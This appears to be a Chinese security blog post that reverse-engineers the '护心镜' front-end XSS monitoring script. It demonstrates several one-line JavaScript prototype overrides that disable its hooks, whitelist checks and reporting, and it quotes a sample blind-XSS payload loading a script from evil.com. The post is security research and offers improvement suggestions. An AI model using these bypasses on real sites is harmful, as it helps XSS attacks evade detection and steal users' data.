跳跳糖
0x00 初识“护心镜”
官方介绍：
通过Hook XSS的常用函数,并监控DOM元素的创建,从而对整个页面的js行为进行监控。当发现页面中存在XSS攻击行为时,可根据预置的选项,进行放行,提醒用户选择,阻拦三种处理方式,同时预警中心会收到一次事件的告警,安全人员可根据告警进行应急响应处理。
在研究如何绕过一个系统之前，不急于直接读代码，先旁敲侧击看看这个系统大体都做了什么。
官方介绍中，在脚本加载前，需要执行一堆配置代码：
<script type="text/javascript">
var hxj_config = {
project_key: "*****(平台分配)",
domain_white: ["0kee.360.cn"],
enable_plugin: {
cookie: 1,
xsstester: 1,
password: 1,
fish: 1,
webshell: 1,
script: 1
}
};
</script>
<script type="text/javascript" src="http://res.0kee.com/hxj.min.js"></script>
“project_key” 不用说就是一个标识站点的key，“domain_white”和名字一样：白名单， 而“enable_plugin”表示了各个模块的开关。
通过http://res.0kee.com/hxj.min.js下载脚本，发现经过uglify-js的混淆压缩，将代码进行美化后对代码进行分析。
由于代码经过混淆，直接开看想必会有困难，在看代码之前，本想根据配置里的6大模块逐个分析，结果幸运的是，这个脚本并没有对自定属性名进行混淆，呈现如下：
...
}, s.Hook_CreateElement = function...
}, s.Hook_Image = function...
}, s.Hook_Source = function...
...
根据属性名＋配置文件的模块，可以看出护心镜主要实现了以下几个功能：
1. 对 XSS 经常用到的函数进行 HOOK，将传递进来的变量进行分析，是否有危险
2. 对页面中 JS 执行的代码进行“行为标记”
3. 加载外部资源时对域名进行白名单校验
4. 对危险行为产生报告向护心镜后台发送
5. 触发 XSS 或者加载外部 JS 时提示用户，是否进行拦截
举个例子：当一个 XSSer 对某后台进行盲打时，嵌入了一串代码：
<script src=//evil.com/evil.js></script>
当管理员登录后台时候触发了这串代码，由于加载了“evil.com”这个未知域名的 js 脚本，护心镜弹出危险警告，在用户确认后对脚本进行阻拦。
从之后的代码分析中了解，HOOK 函数实现了以下功能：
| 模块 | 功能 |
|---|---|
| Hook_CreateElement | 对 CreateElement 方法进行 Hook |
| Hook_Image | 对Image对象产生的实例进行 Setter 和 Getter 的 Hook |
| Hook_Source | 对页面 DOM 进行监控，对新生成的标签进行来源检测 |
| Hook_Attribute | 对元素的 setAttribute 方法进行 Hook |
| Hook_Element | 对元素的 Setter 和 Getter 进行 Hook |
| Hook_Cookie | 对 Cookie 的读写接口进行了 Hook |
| Hook_Xsstester | 对常见的 alert、prompt 方法等进行 Hook |
| Hook_CSRFWebshell | 对通过 CSRF 上传 Webshell 进行拦截 |
| Send | 对护心镜接口发送报告 |
0x02 快速寻找通杀之法
扫一遍代码，发现每个模块都有相应的弱点，但在那之前，
每个人都想知道快速通杀所有模块的方法，那么如何快速找到通杀方法？
最好的方式是看看他们有什么共通点：
（由于只有4个模块涉及拦截，那么就看看他们是怎么实现的）
+ Hook_CreateElement
1. 重写document.createElement
2. 重写createElement创建元素的setter和getter
3. 对Setter进行tag（标签）匹配，然后通过Check_domain进行白名单匹配
4. 通过confirm通知，确定是否拦截
+ Hook_Image
1. 重写Image
2. 重写new Image 对象的getter和setter
3. Check_domain白名单匹配
4. 通过confirm通知，确定是否拦截
5. 若不拦截：通过this.setAttribute实现 Setter 的赋值
+ Hook_Source
1. 通过 MutationObserver 对 DOM 进行监听
2. 一旦 DOM 发生变化，对新增 Nodes（节点）进行校验
3. 通过tag匹配和Check_domain白名单匹配
4. 通过confirm通知，确定是否拦截
5. 若拦截则删除该节点，否则放行
+ Hook_CSRFWebshell
1. 重写 XMLHttpRequest.prototype.send
2. 正则匹配白名单
3. 通过confirm通知，确定是否拦截
第一眼能看到的共同点就是最后一步：通过confirm弹出通知框，让用户选择是否拦截。
假若直接重写confirm，使其永远都弹不出这个框，拦截自然也不会生效了！我们来试试：
Window.prototype.confirm = function () {return !1}
...遗憾的是，并没有成功改写，看来护心镜还是做过一些防绕过的。
这不经让人想到 defineProperty 这个方法。
果然，在脚本最后看到了这样一个方法s.defConstProp(window, "confirm", confirm)
看看 defConstProp 定义:
s.defConstProp = s.isWebkit ?
function(e, t, n) {
Object.defineProperty(e, t, {
value: n,
configurable: !1,
writable: !1,
enumerable: !0
})
} : function(e, t, n) {
e[t] = n
};
通过Object.defineProperty将confirm进行了writeable = false的设置，这样一来便无法重写confirm了。
由于脚本中仅仅是对window的变量confirm进行重写，按理我们可以通过修改原型链上的Window.prototype.confirm,继而删除window.confirm， 也可以达到同样的效果，但注意到 configurable 这个参数也是 false，也无法执行delete confirm了。
既然如此，只好另辟蹊径了。
我们来看看他们的第二个共同点：都经过一层字符串合法校验。
在Hook_CreateElement、Hook_Image、Hook_Source这三个模块中，都使用了Check_domain这个函数来检验 url 是否在白名单内
来看看 Check_domain 的定义：
s.Check_domain = function(e) {
var t, n = !1;
e = e.replace(/\s/g, ""), e = e.toLowerCase();
if (e == s.white_tag || e.indexOf("://") == -1 || e.indexOf("chrome-extension://") == 0) return n = !0, n;
for (var r = 0; r < s.domain_white.length; r++) {
if (s.domain_white[r] == "" || s.domain_white[r].match(/[\!\@\#\$\%\^\&\?\>\<\|\{\}\[\]\(\)]/i)) continue;
t = new RegExp("^http(|s)://([0-9a-zA-Z\\.]*\\.|)" + s.domain_white[r].replace(/\./g, "\\.").replace(/\-/g, "\\-") + "(/|\\?|:\\d{0,5})", "i");
if (t.test(e)) {
n = !0;
break
}
}
return n
}
可以看到使用了 RegExp 的 test 方法进行了正则匹配，再看看 Hook_CSRFWebshell 这个模块：
s.prototype.Hook_CSRFWebshell = function(e) {
if (!XMLHttpRequest) return;
var t = ["CSRF_WEBSHELL", "CSRF_WEBSHELL:"];
s.CSRFWEBSHELL_alert_level = e, XMLHttpRequest.prototype.send = function(e) {
for (i in s.webshell_black) {
var n = new RegExp(s.webshell_black[i], "i");
if (n.test(unescape(e))) {
s.Report_w(t[0]), s.Report_w(t[1]), s.Report(e.match(n)[0]);
if (s.CSRFWEBSHELL_alert_level == 0) {
s._ajaxsend.call(this, e);
return
}
if (s.CSRFWEBSHELL_alert_level == 1 && !confirm("护心镜检测到网页正在向服务器上传危险文件（webshell），是否拦截？")) {
s._ajaxsend.call(this, e);
return
}
}
}
s._ajaxsend.call(this, e)
}
}
首先重写了XMLHttpRequest原型对象的send方法，接着还是使用 RegExp.test 进行正则匹配。
如此，只要重写 RegExp 的 test 方法，使其永远返回 false，那么这些拦截代码就会全部失效了：
RegExp.prototype.test = function(){return !1}
这就是第一种绕过方式，仅一行代码，就让“【永别了,XSS攻击!】”的护心镜彻底失效了，看来想要根治 XSS 还任重道远。
当然了如果自己想要使用 test 方法的话，事先应该将该方法保存一下。
如果在绕过护心镜的同时，又不想破坏网站业务代码（毕竟 RegExp 经常被用到），那么可以扩充一下：
_test = RegExp.prototype.test;
RegExp.prototype.test = function (n) {
n.slice(0, 4) === 'evil' && return _test.call(this, n);
return !1;
}
}
这样可以实现自定义规则对内容是否放行。
同样，在Hook_CreateElement、Hook_Image、Hook_Source这三个模块中，在进行白名单校验前， 会对 tag （html标签名：script、iframe等）进行匹配，若匹配不成功，则不会进入报警拦截流程， 代码如下（以Hook_Source为例）：
if (o.src || o.href || o.data)
if (o.tagName
&& (o.tagName.toLowerCase() == "frame"
|| o.tagName.toLowerCase() == "iframe"
|| o.tagName.toLowerCase() == "link"
|| o.tagName.toLowerCase() == "object"
|| o.tagName.toLowerCase() == "embed"
|| o.tagName.toLowerCase() == "img"
|| o.tagName.toLowerCase() == "source"
|| o.tagName.toLowerCase() == "video")) {
//进入拦截流程...
}
和劫持RegExp的做法相似，通过对toLowerCase方法的劫持，使其永远匹配不上正确的标签名，能达到同样的效果：
String.prototype.toLowerCase = function () {
return 'never';
}
此为第二种绕法。
除了这四个拦截模块之外，还有 Hook_Cookie 等其他几个模块，这几个模块主要作用是记录最近的操作状态， 用于拦截模块对攻击进行分类，举个例子：
1. 当检测到有 Cookie 读取操作，最近状态列表中添加“读cookie操作”
2. 当 Image().src 向外部发送数据时，如果最近状态有“读cookie操作”，归类为偷取cookie行为
逐个击破小模块
除去以上的通杀方法，接下来看看如何用其他方法将这一个个模块逐个击破
1. 突破Hook_Element：其人之道还治其身
s.Hook_Element = function(e, t, n, r, i) {
var o = ["FISH", "GET_PWD"];
Object.defineProperty(e, t, {
get: function() {
return s.log("Get Attr"), (n == "R" || n == "RW" || n == "WR") && r(i), this.getAttribute(t)
},
set: function(e) {
return s.log("Set Attr"), (n == "W" || n == "RW" || n == "WR") && r(i, e), this.setAttribute(t, e)
}
})
}
可以看到该函数可以重写元素的 set 和 get，并将行为记录，最后通过get/setAttibute的方法来实现，那么顺着脚本作者的方法， 通过get/setAttibute方法可直接绕过此类 Hook，这样的 Hook 在Image_Hook里也出现过。
2. 突破Hook_Cookie：更高效的读写Cookie
s.prototype.Hook_Cookie = function(e) {
var t = ["GET_COOKIE", "SET_COOKIE"];
s.Cookie_alert_level = e, Object.defineProperty(document, "cookie", {
get: function() {
s.Report(t[0]);
var e = document.createElement("iframe");
e.src = s.white_tag, document.documentElement.appendChild(e), e.contentDocument.write("null");
var n = e.contentDocument.cookie;
return document.documentElement.removeChild(e), n
},
set: function(e) {
s.Report(t[1]);
var n = document.createElement("iframe");
return n.src = s.white_tag, document.documentElement.appendChild(n), n.contentDocument.write("null"), n.contentDocument.cookie = e, document.documentElement.removeChild(n), e
}
})
}
从代码中可以看出，使用了从 iframe 中读写 Cookie 来实现 钩子函数中的 cookie 操作，和第一个钩子的绕过方式相同，
直接利用作者的方法，使用 iframe 操作 cookie 就可以绕过钩子函数了（事实上，经常可以护心镜自己的代码逻辑绕过自身）。
当然了，这么写及其影响页面性能，使用了护心镜后，每一次有关 cookie 的操作都要在页面中创建 iframe、删除 iframe，不断如此。
其实可以通过如下方法直接获取 cookie 的读写接口：
Document.prototype.__lookupGetter__('cookie');
Document.prototype.__lookupSetter__('cookie');
3. 突破Hook_Attribute：原始接口招之即来
s.prototype.Hook_Attribute = function() {
var e = ["setAttrib", "getAttrib", "FISH", "GET_PWD", "IMG.SRC:"];
window.Element.prototype.setAttribute = function(t, n) {
if (!isNaN(n) || n == s.white_tag || n.indexOf(s.report_uri) == 0 || n.indexOf(s.report_times_uri) == 0) {
s._setAttribute.call(this, t, n);
return
}
s.Report_w(e[0]), s.log("setAttrib"), s.log(n);
if (this.tagName && t == "type" && this.tagName.toLowerCase() == "input") s.log("modify type"), s.Report_w(e[3]);
else if (this.tagName && t == "src") {
if (this.tagName.toLowerCase() == "img")
s.log("SET SRC:" + n),
n.indexOf("?") > 0 && !s.Check_domain(n) && n.split("?")[1].length > s.cookie_maxlen && s.Report(n);
}
else if (this.tagName.toLowerCase() == "frame" || this.tagName.toLowerCase() == "iframe") s.log("Frame src:" + n), s.Report_w("M_IFRAME_SRC");
s._setAttribute.call(this, t, n)
}, window.Element.prototype.getAttribute = function(t) {
return s.log("getAttrib"), s.Hookpwd_tag && this.tagName && t == "value" && this.tagName.toLowerCase() == "input" && (s.log("getattr pwd"), s.Report_w(e[3])), s._getAttribute.call(this, t)
}
将setAttibute方法重写了，可以看到代码中不断出现toLowerCase和Check_domain（你懂得），当然我们可以把原始接口再一次拿出来，
覆盖当前被 Hook 的 setAttribute 和 getAttibute。
Function.prototype.call = function () {
if (this.name === 'setAttribute')
HTMLElement.prototype.setAttribute = this;//还原了原始接口setAttribute
else if (this.name === 'getAttribute')
HTMLElement.prototype.getAttribute = this;//还原了原始接口getAttribute
}
这样就能获得纯天然无公害的setAttribute和getAttribute了 ：）
4. 突破Hook_Xsstester：妈妈再也不用担心我到处 alert 了
s.prototype.Hook_Xsstester = function() {
function t(e) {
if (typeof e == "object") return !0;
var t = new RegExp("(^(\\d)*$|^xss$|[[\\w\\_\\-\\|\\.\\%]*=[\\w\\_\\-\\|\\.\\%]*\\;]*|" + location.href + "|" + document.domain + "|" + document.cookie + ")", "i");
return t.test(e)
}
var e = "XSS_TEST:";
alert = function(n) {
return t(n) && (s.log("XSS Test:alert"), s.Report_w(e), s.Report(escape(n))), s._alert.call(this, n)
}, confirm = function(n) {
return n.indexOf("护心镜") > -1 ? s._confirm.call(this, n) : (t(n) && (s.log("XSS Test:confirm"), s.Report_w(e), s.Report(escape(n))), s._confirm.call(this, n))
}, prompt = function(n) {
return t(n) && (s.log("XSS Test:prompt"), s.Report_w(e), s.Report(escape(n))), s._prompt.call(this, n)
}
}
Xsstester 就是用于记录 Xsser 常用的 alert、prompt 等测试方法的，原理同样是重写了这两个函数。
但是护心镜这里出现了两个重大失误，没有考虑到以下两个常见情况：
alert(/xss/)，Xsser 常用正则进行测试alert('test')，Xsser 用自定字符串进行测试
至于绕过，其实绕过 Xsstester 很简单，由于重写了 window.alert 等函数，通过原型链上的 alert 可以轻易获取和还原原始方法。
Window.prototype.alert;
5. 突破Send： 阻止发送一切报告
s.Send = function(e) {
var t = e,
n = "xHxOxOxKx";
t = s.report_uri + "?f=" + escape(t), t = t + "&id=" + s.user_token, t = t + "&callback=" + s.callback_name;
if (document.body) {
document.getElementById(n) && document.getElementById(n).parentElement.removeChild(document.getElementById(n));
var r = document.createElement("script");
r.src = t, r.id = n, document.body.appendChild(r)
} else window.onload = new function() {
document.getElementById(n) && document.documentElement.removeChild(document.getElementById(n));
var e = document.createElement("script");
e.src = t, e.id = n, document.documentElement.appendChild(e)
}
}
代码中使用创建 script 来发送报告，那么重写 appendChild 就可以阻挡发送报告了：
HTMLElement.prototype.appendChild = function (){return !1}
当然，实际使用最好不要这么简单粗暴（容易误伤正常代码），稍微润色一下无伤大雅。
0x03 总结
- 针对护心镜的防护，在引入攻击代码前，加一小句代码即可绕过。
- 即便如此，护心镜还是很有价值的，毕竟不是每一个攻击者都是有心人。
- 目前的脚本还待改善，文中提出的几点再提一次：
- 性能优化，比如：cookie读写。
- 从原型链上开始 Hook。
- 使用其他方式实现原生方法 == 不需要绕过，比如：用 setAttribute 实现 set、用 iframe 实现 cookie 操作。
- 安全攻防的战场不知何时已经从后端转向了前端，但不变的是：安全防护技术总是在不断尝试和绕过中提升。
